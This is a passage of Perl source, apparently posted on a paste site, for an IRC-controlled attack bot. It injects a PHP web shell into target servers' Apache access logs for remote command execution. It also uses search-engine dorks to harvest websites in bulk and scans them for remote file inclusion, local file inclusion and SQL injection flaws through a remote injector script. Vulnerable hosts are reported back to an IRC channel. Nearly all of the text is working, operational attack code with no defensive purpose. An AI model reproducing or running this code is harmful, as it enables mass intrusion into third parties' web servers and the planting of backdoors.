  818.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)12 Injecting7 ".$host.":".$port." 12Apache Access Log ...");
  819.         my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} system(\$_GET[c0li]);?>";
  820.         $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
  821.         die sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)4 Cant Connect to7 ".$host.":".$port."");
  822.         print $sock "GET /vOpCrEw.UnderGrounD ".$php." HTTP/1.1\r\n";
  823.         print $sock "Host: ".$host."\r\n";
  824.         print $sock "Connection: close\r\n\r\n";
  825.         close($sock);
  826.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12is Done ...");
  827.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Parameter  ->3 c0li");
  828.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2ALI15)7 ".$host." 12RCE Identifier ->3 vOpCrEw.UnderGrounD");
  829. }
  830.  
  831. sub rfiscan() {
  832.         my $engz = $_[0];
  833.         my $bugz = $_[1];
  834.         my $dork = $_[2];
  835.         my $contatore = 0;
  836.         if ($engz =~ /GooGLe/) {
  837.                 my @google=&google($dork);
  838.                 push(@total, @google);
  839.         }
  840.         if ($engz =~ /AllTheWeb/) {
  841.                 my @alltheweb=&alltheweb($dork);
  842.                 push(@total, @alltheweb);
  843.         }
  844.         if ($engz =~ /Bing/) {
  845.                 my @Bing=&Bing($dork);
  846.                 push(@total, @Bing);
  847.         }
  848.         if ($engz =~ /ALtaViSTa/) {
  849.                 my @altavista=&altavista($dork);
  850.                 push(@total, @altavista);
  851.         }
  852.         if ($engz =~ /AsK/) {
  853.                 my @ask=&ask($dork);
  854.                 push(@total, @ask);
  855.         }
  856.         if ($engz =~ /UoL/) {
  857.                 my @uol=&uol($dork);
  858.                 push(@total, @uol);
  859.         }
  860.         if ($engz =~ /LyCos/) {
  861.                 my @lycos=&lycos($dork);
  862.                 push(@total, @lycos);
  863.         }
  864.         if ($engz =~ /GoodSearch/) {
  865.                 my @goodsearch=&goodsearch($dork);
  866.                 push(@total, @goodsearch);
  867.         }
  868.         if ($engz =~ /YahOo/) {
  869.                 my @yahoo=&yahoo($dork);
  870.                 push(@total, @yahoo);
  871.         }
  872.         my @clean=&calculate(@total);
  873.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  874.         if (scalar(@clean) != 0) {
  875.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)7 Exploiting4 $dork");
  876.         }
  877.         my $uni=scalar(@clean);
  878.         foreach my $target (@clean)
  879.         {
  880.                 $contatore++;
  881.                 if ($contatore==$uni-1){
  882.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)10 Scan Finish for14 $dork");
  883.                 }
  884.                 my $xpl  = "http://".$target.$bugz.$injector."?";
  885.                 my $vuln = "http://".$target."12".$bugz."7".$phpshell."?";
  886.                 my $re   = getcontent($xpl);
  887.                 if($re =~ /$rfi_result/ && $re =~ /uid=/){
  888.                         os($xpl);
  889.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@3SAFEMODE-OFF15)");
  890.                 }
  891.                 elsif($re =~ /$rfi_result/)
  892.                 {
  893.                         os($xpl);
  894.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@6".$os."15)(7@4SAFEMODE-ON15)");
  895.                 }
  896.         }
  897. }
  898.  
  899. sub lfiscan() {
  900.         my $engz = $_[0];
  901.         my $bugz = $_[1];
  902.         my $dork = $_[2];
  903.         my $contatore = 0;    
  904.         if ($engz =~ /GooGLe/) {
  905.                 my @google=&google($dork);
  906.                 push(@total, @google);
  907.                 }
  908.         if ($engz =~ /AllTheWeb/) {
  909.                 my @alltheweb=&alltheweb($dork);
  910.                 push(@total, @alltheweb);
  911.         }
  912.         if ($engz =~ /Bing/) {
  913.                 my @Bing=&Bing($dork);
  914.                 push(@total, @Bing);
  915.         }
  916.         if ($engz =~ /ALtaViSTa/) {
  917.                 my @altavista=&altavista($dork);
  918.                 push(@total, @altavista);
  919.         }
  920.         if ($engz =~ /AsK/) {
  921.                 my @ask=&ask($dork);
  922.                 push(@total, @ask);
  923.         }
  924.         if ($engz =~ /UoL/) {
  925.                 my @uol=&uol($dork);
  926.                 push(@total, @uol);
  927.         }
  928.         if ($engz =~ /LyCos/) {
  929.                 my @lycos=&lycos($dork);
  930.                 push(@total, @lycos);
  931.         }
  932.         if ($engz =~ /GoodSearch/) {
  933.                 my @goodsearch=&goodsearch($dork);
  934.                 push(@total, @goodsearch);
  935.         }
  936.         if ($engz =~ /YahOo/) {
  937.                 my @yahoo=&yahoo($dork);
  938.                 push(@total, @yahoo);
  939.         }
  940.         my @clean = &calculate(@total);
  941.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  942.         if (scalar(@clean) != 0) {
  943.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)7 Exploiting4 $dork");
  944.         }
  945.         my $uni=scalar(@clean);
  946.         foreach my $target (@clean)
  947.         {
  948.                 $contatore++;
  949.                 if ($contatore==$uni-1){
  950.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)10 Scan Finish for14 $dork");
  951.                 }
  952.                 my $xpl  = "http://".$target.$bugz.$lfi_test;
  953.                 my $vuln = "http://".$target."12".$bugz."7".$lfi_test."";
  954.                 my $re   = getcontent($xpl);
  955.                 if ($re  =~ /$lfi_output/){
  956.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2LFI15)(7@2$engz15)15(13@12Vulnerable15)4 ".$vuln." 15(7@3VopCrew15)");
  957.                 }
  958.         }
  959. }
  960.  
  961. sub mysqlscan() {
  962.         my $engz = $_[0];
  963.         my $bugz = $_[1];
  964.         my $dork = $_[2];
  965.         my $contatore = 0;
  966.         if ($engz =~ /GooGLe/) {
  967.                 my @google=&google($dork);
  968.                 push(@total, @google);
  969.                 }
  970.         if ($engz =~ /AllTheWeb/) {
  971.                 my @alltheweb=&alltheweb($dork);
  972.                 push(@total, @alltheweb);
  973.         }
  974.         if ($engz =~ /Bing/) {
  975.                 my @Bing=&Bing($dork);
  976.                 push(@total, @Bing);
  977.         }
  978.         if ($engz =~ /ALtaViSTa/) {
  979.                 my @altavista=&altavista($dork);
  980.                 push(@total, @altavista);
  981.         }
  982.         if ($engz =~ /AsK/) {
  983.                 my @ask=&ask($dork);
  984.                 push(@total, @ask);
  985.         }
  986.         if ($engz =~ /UoL/) {
  987.                 my @uol=&uol($dork);
  988.                 push(@total, @uol);
  989.         }
  990.         if ($engz =~ /LyCos/) {
  991.                 my @lycos=&lycos($dork);
  992.                 push(@total, @lycos);
  993.         }
  994.         if ($engz =~ /GoodSearch/) {
  995.                 my @goodsearch=&goodsearch($dork);
  996.                 push(@total, @goodsearch);
  997.         }
  998.         if ($engz =~ /YahOo/) {
  999.                 my @yahoo=&yahoo($dork);
  1000.                 push(@total, @yahoo);
  1001.         }
  1002.         my @clean = &calculate(@total);
  1003.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  1004.         if (scalar(@clean) != 0) {
  1005.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");
  1006.         }
  1007.         my $uni = scalar(@clean);
  1008.         foreach my $target (@clean)
  1009.         {
  1010.                 $contatore++;
  1011.                 if ($contatore==$uni-1){
  1012.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");
  1013.                 }
  1014.                 my $xpl  = "http://".$target.$bugz.$sql_test;
  1015.                 my $vuln = "http://".$target."12".$bugz."7[SQL]";
  1016.                 my $re   = getcontent($xpl);
  1017.                 if ($re  =~ /$mysql_output/){
  1018.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3VopCrew15)");
  1019.                 }
  1020.         }
  1021. }
  1022.  
  1023.  
  1024. sub mssqlscan() {
  1025.         my $engz = $_[0];
  1026.         my $bugz = $_[1];
  1027.         my $dork = $_[2];
  1028.         my $contatore = 0;
  1029.         if ($engz =~ /GooGLe/) {
  1030.                 my @google=&google($dork);
  1031.                 push(@total, @google);
  1032.                 }
  1033.         if ($engz =~ /AllTheWeb/) {
  1034.                 my @alltheweb=&alltheweb($dork);
  1035.                 push(@total, @alltheweb);
  1036.         }
  1037.         if ($engz =~ /Bing/) {
  1038.                 my @Bing=&Bing($dork);
  1039.                 push(@total, @Bing);
  1040.         }
  1041.         if ($engz =~ /ALtaViSTa/) {
  1042.                 my @altavista=&altavista($dork);
  1043.                 push(@total, @altavista);
  1044.         }
  1045.         if ($engz =~ /AsK/) {
  1046.                 my @ask=&ask($dork);
  1047.                 push(@total, @ask);
  1048.         }
  1049.         if ($engz =~ /UoL/) {
  1050.                 my @uol=&uol($dork);
  1051.                 push(@total, @uol);
  1052.         }
  1053.         if ($engz =~ /LyCos/) {
  1054.                 my @lycos=&lycos($dork);
  1055.                 push(@total, @lycos);
  1056.         }
  1057.         my @clean = &calculate(@total);
  1058.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  1059.         if (scalar(@clean) != 0) {
  1060.                 sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)7 Exploiting4 $dork");
  1061.         }
  1062.         my $uni = scalar(@clean);
  1063.         foreach my $target (@clean)
  1064.         {
  1065.                 $contatore++;
  1066.                 if ($contatore==$uni-1){
  1067.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)10 Scan Finish for14 $dork");
  1068.                 }
  1069.                 my $xpl  = "http://".$target.$bugz.$sql_test;
  1070.                 my $vuln = "http://".$target."12".$bugz."7[SQL]";
  1071.                 my $re   = getcontent($xpl);
  1072.                 if ($re  =~ /$mssql_output/){
  1073.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2SQL15)(7@2$engz15)15(13@12ErrorQuery15)4 ".$vuln." 15(7@3VopCrew15)");
  1074.                 }
  1075.         }
  1076. }
  1077.  
  1078. sub os() {
  1079.         my $site = $_[0];
  1080.         my $re   = &query($site);
  1081.         while ($re =~ m/<br>os:(.+?)<br>/g) {
  1082.                 $os = $1;
  1083.                 if ($1 =~ //) { $os = "Unkn0wN"; }
  1084.         }
  1085. }
  1086.  
  1087. sub response() {
  1088.     my $re = getcontent($injector);
  1089.     if ($re =~ /pZLNd8MwEITvg/) {
  1090.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 « 3OK12 »");
  1091.     }
  1092.     else {
  1093.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2RFI15)12 « 4JAH12 »");
  1094.     }
  1095. }
  1096.  
  1097. sub getcontent() {
  1098.     $url    = $_[0];
  1099.     my $req = HTTP::Request->new(GET => $url);
  1100.     my $ua  = LWP::UserAgent->new();
  1101.     $ua->timeout(5);
  1102.     my $response = $ua->request($req);
  1103.     return $response->content;
  1104. }
  1105.  
  1106. sub google(){
  1107.     my @lst;
  1108.     my $key = $_[0];
  1109.     my $b   = 0;
  1110.     for ($b=0; $b<=1000; $b+=100){
  1111.         my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
  1112.         my $Res=query($Go);
  1113.         while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1114.             if ($1 !~ /google/){
  1115.                 my $k=$1;
  1116.                 my @grep=links($k);
  1117.                 push(@lst,@grep);
  1118.             }
  1119.                 }
  1120.         }
  1121. return @lst;
  1122. }
  1123.  
  1124. sub alltheweb() {
  1125.     my @lst;
  1126.     my $key = $_[0];
  1127.     my $b   = 0;
  1128.     my $pg  = 0;
  1129.     for ($b=0; $b<=1000; $b+=100) {
  1130.         my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
  1131.         my $Res = query($all);
  1132.         while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
  1133.             my $k = $1;
  1134.             $k =~ s/ //g;
  1135.             my @grep = links($k);
  1136.             push( @lst, @grep );
  1137.         }
  1138.     }
  1139.     return @lst;
  1140. }
  1141.  
  1142. sub uol() {
  1143.     my @lst;
  1144.     my $key = $_[0];
  1145.     my $b   = 0;
  1146.     for ($b=1; $b<=1000; $b+=10) {
  1147.         my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
  1148.         my $Res = query($UoL);
  1149.         while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
  1150.             my $k = $1;
  1151.             if ( $k !~ /busca|uol|yahoo/ ) {
  1152.                 my $k    = $1;
  1153.                 my @grep = links($k);
  1154.                 push( @lst, @grep );
  1155.             }
  1156.         }
  1157.     }
  1158.     return @lst;
  1159. }
  1160.  
  1161. sub Bing() {
  1162.     my @lst;
  1163.     my $key = $_[0];
  1164.     my $b   = 0;
  1165.     for ($b=1; $b<=1000; $b+=10) {
  1166.         my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
  1167.         my $Res = query($bing);
  1168.         while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
  1169.             if ( $1 !~ /msn|live|bing/ ) {
  1170.                 my $k    = $1;
  1171.                 my @grep = links($k);
  1172.                 push( @lst, @grep );
  1173.             }
  1174.         }
  1175.     }
  1176.     return @lst;
  1177. }
  1178.  
  1179. sub altavista(){
  1180.     my @lst;
  1181.     my $key = $_[0];
  1182.     my $b   = 0;
  1183.     for ($b=1; $b<=1000; $b+=10){
  1184.         my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  1185.         my $Res=query($AlT);
  1186.         while ($Res=~m/<span class=ngrn>(.+?)\//g){
  1187.             if ($1 !~ /altavista/){
  1188.                 my $k=$1;
  1189.                 $k=~s/<//g;
  1190.                 $k=~s/ //g;
  1191.                 my @grep=links($k);
  1192.                 push(@lst,@grep);
  1193.             }
  1194.                 }
  1195.         }
  1196. return @lst;
  1197. }
  1198.  
  1199. sub ask() {
  1200.     my @lst;
  1201.     my $key = $_[0];
  1202.     my $b   = 0;
  1203.     my $pg  = 0;
  1204.     for ($b=0; $b<=1000; $b+=10) {
  1205.         my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
  1206.         my $Res = query($Ask);
  1207.         while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  1208.             if ($1 !~ /ask.com/){
  1209.                                 my $k = $1;
  1210.                                 my @grep = links($k);
  1211.                                 push( @lst, @grep );
  1212.                         }
  1213.         }
  1214.     }
  1215.     return @lst;
  1216. }
  1217.  
  1218. sub lycos() {
  1219.         my @lst;
  1220.         my $key = $_[0];
  1221.     my $b   = 0;
  1222.         for ($b=0; $b<=1000; $b+=10) {
  1223.         my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$b."&query=".key($key)."&cat=web&enc=utf-8");
  1224.         my $Res = query($lyc);
  1225.         while ($Res =~ m/href=\"http:\/\/(.+?)\"  >/g) {
  1226.             if ($1 !~ /lycos/){
  1227.                 my $k = $1;
  1228.                 my @grep = links($k);
  1229.                 push(@lst, @grep);
  1230.             }
  1231.         }
  1232.     }
  1233.     return @lst;
  1234. }
  1235.  
  1236. sub goodsearch() {
  1237.         my @lst;
  1238.         my $key = $_[0];
  1239.     my $b   = 0;
  1240.         for ($b=1; $b<=500; $b+=1) {
  1241.         my $goods = ("http://www.goodsearch.com/search.aspx?keywords=".key($key)."&page=".$b."&osmax=0");
  1242.         my $Res = query($goods);
  1243.         while ($Res =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g) {
  1244.             if ($2 !~ /goodsearch/){
  1245.                 my $k = $2;
  1246.                 my @grep = links($k);
  1247.                 push(@lst, @grep);
  1248.             }
  1249.         }
  1250.     }
  1251.     return @lst;
  1252. }
  1253.  
  1254. sub yahoo() {
  1255.         my @lst;
  1256.         my $key = $_[0];
  1257.     my $b   = 0;
  1258.         for ($b=1; $b<=500; $b+=1) {
  1259.         my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
  1260.         my $Res = query($yahoo);
  1261.         while ($Res =~ m/26u=(.*?)%26w=/g) {
  1262.             if ($1 !~ /yahoo/){
  1263.                 my $k = $1;
  1264.                 my @grep = links($k);
  1265.                 push(@lst, @grep);
  1266.             }
  1267.         }
  1268.     }
  1269.     return @lst;
  1270. }
  1271.  
  1272. sub links() {
  1273.         my @l;
  1274.         my $link = $_[0];
  1275.         my $host = $_[0];
  1276.         my $hdir = $_[0];
  1277.         $hdir =~ s/(.*)\/[^\/]*$/\1/;
  1278.         $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1279.         $host .= "/";
  1280.         $link .= "/";
  1281.         $hdir .= "/";
  1282.         $host =~ s/\/\//\//g;
  1283.         $hdir =~ s/\/\//\//g;
  1284.         $link =~ s/\/\//\//g;
  1285.         push( @l, $link, $host, $hdir );
  1286.         return @l;
  1287. }
  1288.  
  1289. sub key() {
  1290.         my $dork = $_[0];
  1291.         $dork =~ s/ /\+/g;
  1292.         $dork =~ s/:/\%3A/g;
  1293.         $dork =~ s/\//\%2F/g;
  1294.         $dork =~ s/&/\%26/g;
  1295.         $dork =~ s/\"/\%22/g;
  1296.         $dork =~ s/,/\%2C/g;
  1297.         $dork =~ s/\\/\%5C/g;
  1298.         return $dork;
  1299. }
  1300.  
  1301. sub query($) {
  1302.         my $url = $_[0];
  1303.         $url =~ s/http:\/\///;
  1304.         my $host  = $url;
  1305.         my $query = $url;
  1306.         my $page  = "";
  1307.         $host  =~ s/href=\"?http:\/\///;
  1308.         $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1309.         $query =~ s/$host//;
  1310.         if ( $query eq "" ) { $query = "/"; }
  1311.                 eval {
  1312.                         my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
  1313.                         print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  1314.                         my @r = <$sock>;
  1315.                         $page = "@r";
  1316.                         close($sock);
  1317.                 };
  1318.         return $page;
  1319. }
  1320.  
  1321. sub calculate {
  1322.         my @calculate = ();
  1323.         my %visti = ();
  1324.         foreach my $element (@_) {
  1325.                 $element =~ s/\/+/\//g;
  1326.                 next if $visti{$element}++;
  1327.                 push @calculate, $element;
  1328.         }
  1329.         return @calculate;
  1330. }
  1331.  
  1332. sub nick {
  1333.         return unless $#_ == 0;
  1334.         sendraw("NICK $_[0]");
  1335. }
  1336.  
  1337. sub notice {
  1338.         return unless $#_ == 1;
  1339.         sendraw("NOTICE $_[0] :$_[1]");
  1340. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement